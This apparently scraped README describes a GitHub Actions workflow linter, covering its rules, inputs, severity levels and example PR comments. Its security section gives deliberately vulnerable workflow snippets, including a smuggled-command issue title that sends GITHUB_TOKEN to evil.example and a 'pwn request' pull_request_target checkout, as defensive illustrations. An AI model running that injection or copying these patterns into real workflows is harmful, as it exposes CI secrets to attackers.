ollieb89/workflow-guardian
GitHub: ollieb89/workflow-guardian
一个针对 GitHub Actions 工作流的静态安全与质量校验工具，提前发现并阻断配置与安全隐患。
Stars: 2 | Forks: 0
# Workflow Guardian
[](https://github.com/ollieb89/workflow-guardian/actions/workflows/ci.yml)
[](https://github.com/search?q=ollieb89%2Fworkflow-guardian+path%3A.github%2Fworkflows&type=code)
**快速入门（3 行代码）：**
```
- uses: ollieb89/workflow-guardian@v1
with:
github-token: ${{ github.token }}
```
📚 **[阅读 Dev.to 系列文章](https://dev.to/ollieb89)** — 深入探讨 GitHub Actions 安全性、常见错误和工作流加固。
## 功能特性
| 规则 | 检测内容 | 默认状态 |
|------|----------|---------|
| `undefined-actions` | 未固定 Action 引用、浮动分支引用（`@main`）、缺少版本 | ✅ 启用 |
| `path-filter-bugs` | 相互排斥的过滤器（`paths` + `paths-ignore`）、空数组、无效通配符 | ✅ 启用 |
| `matrix-strategy` | `fail-fast`/`max-parallel` 类型错误、维度数组为空、`include`/`exclude` 错误 | ✅ 启用 |
| `deprecated-features` | `::set-env::`、`::set-output::`、过时 Action 版本、已终止的 Node 运行器 | ✅ 启用 |
| `security` | 通过不可信输入导致的脚本注入、危险的 `pull_request_target` + 检出模式 | ✅ 启用 |
### 严重等级
| 等级 | 含义 | CI 行为 |
|------|------|---------|
| 🔴 **error** | 合并前必须修复 | **CI 失败** |
| 🟡 **warning** | 应修复，潜在错误 | 仅报告 |
| 🔵 **info** | 最佳实践建议 | 仅报告 |
## 使用方法
对涉及工作流文件的拉取请求添加以下内容即可：
```
name: Lint Workflows
on:
pull_request:
paths:
- '.github/workflows/**'
permissions:
contents: read
pull-requests: write # required to post the PR comment
jobs:
lint:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: ollieb89/workflow-guardian@v1
with:
github-token: ${{ github.token }}
```
配置完成。该操作将：
1. 查找 PR 中更改的所有 `.github/workflows/*.yml` 文件
2. 对每个文件运行全部五组规则检测
3. 在 PR 评论中发布（或更新）包含详细结果的表格
4. 如果发现任何 **error** 错误，以非零状态退出
## 输入参数
| 参数 | 说明 | 默认值 |
|------|------|---------|
| `github-token` | 用于 API 调用的令牌（发布评论、列出变更文件） | `${{ github.token }}` |
| `check-undefined-actions` | 启用/禁用 `undefined-actions` 规则 | `true` |
| `check-path-filters` | 启用/禁用 `path-filter-bugs` 规则 | `true` |
| `check-matrix-strategy` | 启用/禁用 `matrix-strategy` 规则 | `true` |
| `check-deprecated` | 启用/禁用 `deprecated-features` 规则 | `true` |
| `check-security` | 启用/禁用 `security` 规则 | `true` |
所有规则参数均接受字符串形式的 `'true'` 或 `'false'`。
### 选择性规则示例
```
- uses: ollieb89/workflow-guardian@v1
with:
github-token: ${{ github.token }}
check-undefined-actions: 'true'
check-path-filters: 'true'
check-matrix-strategy: 'true'
check-deprecated: 'false' # disable if you have legacy workflows
check-security: 'true'
```
## 规则参考
### `undefined-actions`
验证所有 `uses:` 字段。
| 检测结果 | 严重等级 | 示例 |
|----------|----------|------|
| 未引用版本 | 🔴 error | `uses: actions/checkout` |
| 浮动分支引用 | 🟡 warning | `uses: actions/checkout@main` |
| 标签引用（非 SHA） | 🔵 info | `uses: actions/checkout@v4` |
**为何必须引用 SHA？** 标签是可变的，发布后可被指向其他提交。完整的提交 SHA 能确保你运行的内容与审核内容完全一致。
```
# ✅ Recommended
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
# 🟡 Acceptable (mutable, but at least versioned)
- uses: actions/checkout@v4
# 🔴 Dangerous
- uses: actions/checkout@main
- uses: actions/checkout # no version at all
```
### `path-filter-bugs`
检测 `on..paths`、`branches` 和 `tags` 过滤器中的常见错误。
```
# 🔴 Error — paths and paths-ignore are mutually exclusive
on:
push:
paths: ['src/**']
paths-ignore: ['docs/**'] # ← remove one
# 🟡 Warning — leading slash is not valid
on:
push:
paths: ['/src/main.ts'] # ← remove the /
# 🟡 Warning — empty array never matches
on:
push:
paths: [] # ← add patterns or remove the filter
```
### `matrix-strategy`
验证作业中的 `strategy.matrix` 块。
```
# 🔴 Error — fail-fast must be boolean
strategy:
fail-fast: "yes" # ← use: false
# 🔴 Error — empty array generates zero jobs
strategy:
matrix:
node: [] # ← add at least one value
# 🟡 Warning — exclude without any base dimensions
strategy:
matrix:
exclude:
- node: 18 # ← nothing to exclude from
```
### `deprecated-features`
标记已废弃的工作流命令和过时 Action 版本。
| 已废弃 | 替代方案 | 严重等级 |
|--------|----------|----------|
| `::set-env name=K::V` | `echo "K=V" >> $GITHUB_ENV` | 🔴 error（安全） |
| `::add-path::` | `echo "/path" >> $GITHUB_PATH` | 🔴 error（安全） |
| `::set-output name=K::V` | `echo "k=v" >> $GITHUB_OUTPUT` | 🟡 warning |
| `::save-state name=K::V` | `echo "k=v" >> $GITHUB_STATE` | 🟡 warning |
| `actions/checkout@v1` | `@v4` | 🟡 warning |
| Node 12 运行器 | node20 | 🔴 error |
| Node 16 运行器 | node20 | 🟡 warning |
### `security`
检测脚本注入和权限提升漏洞。
#### 脚本注入
当不可信用户输入被直接插进 `run:` Shell 脚本时，攻击者可执行任意代码。这是 GitHub Actions 中最常见的漏洞之一。
```
# 🔴 VULNERABLE — attacker controls the issue title
- name: Greet
run: echo "New issue: ${{ github.event.issue.title }}"
# title could be: "; curl https://evil.example/exfil?t=$GITHUB_TOKEN"
# ✅ Safe — value is passed as an environment variable
- name: Greet
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
run: echo "New issue: $ISSUE_TITLE"
```
不可信输入包括：
- `github.event.issue.title` / `.body`
- `github.event.pull_request.title` / `.body` / `.head.ref` / `.head.label`
- `github.head_ref`
- `github.event.review.body`
- `github.event.comment.body`
- `github.event.head_commit.message` 及作者字段
- `github.event.pusher.name` / `.email`
#### 危险的 `pull_request_target` + 检出
`pull_request_target` 触发器在 **base 分支上下文** 中运行，拥有写入权限和密钥访问权限。在此上下文中检出 PR 的头引用会让不可信代码以提升的权限运行。
```
# 🔴 CRITICAL — "pwn request" vulnerability
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # ← untrusted code!
- run: npm ci && npm test # now running attacker's code with secrets access
```
## PR 评论示例
当 Workflow Guardian 检测到问题时，会发布如下评论：
**❌ Workflow Guardian**
已扫描 **2** 个工作流文件 — 发现 **2 个错误**、**1 个警告**、**3 条提示**。
**`.github/workflows/deploy.yml`**
| 行号 | 严重等级 | 规则 | 消息 |
|------|----------|------|------|
| L23 | 🔴 error | `security` | 作业 'deploy' 中的步骤 'Run deploy' 存在脚本注入风险，插入了 'github.head_ref' ... |
| L41 | 🟡 warning | `undefined-actions` | Action 'my-org/deploy-action@develop' 使用了浮动分支引用 ... |
| L12 | 🔵 info | `undefined-actions` | Action 'actions/checkout@v4' 使用了标签引用 ... |
## 从源码构建
```
npm install
npm run build # compiles TypeScript → dist/index.js via @vercel/ncc
npm test # runs jest test suite
```
`dist/` 目录必须提交到仓库中，操作才能正常工作。CI 工作流会在发布时自动处理此步骤。
## 所需权限
```
permissions:
contents: read
pull-requests: write # to post/update the PR comment
```
如果在 PR 上下文之外运行该操作，不需要 `pull-requests: write`，也不会发布评论。
## 许可证
MIT — 参见 [LICENSE](LICENSE)。
## 🔐 提升你的安全等级
使用 GitHub Actions？获取 **[GitHub Actions 安全检查清单](https://trivexia.gumroad.com/l/bfsbud)** — 包含 50+ 项经过实战检验的检查项，涵盖密钥管理、供应链攻击、权限范围控制和运行器加固。
## 🧠 告别 CI 调试噩梦
厌倦了查看日志和重新运行作业？获取 **[CI 故障恢复工具包](https://trivexia.gumroad.com/l/ci-failure-recovery-pack)** — 包含 **GitHub Actions 故障排查清单** 和 **CI 调试模板**，帮助你系统性地定位并修复根本原因。
标签：GitHub Actions, lint, MITM代理, XML 请求, 云安全监控, 代码审查, 协议分析, 安全专业人员, 安全开发, 安全校验, 工作流加固, 工作流安全, 工作流验证, 开源安全工具, 最佳实践, 权限提升, 结构化查询, 自动化安全, 自动化攻击, 自动笔记, 输入注入, 逆向工程平台, 错误检测, 静态分析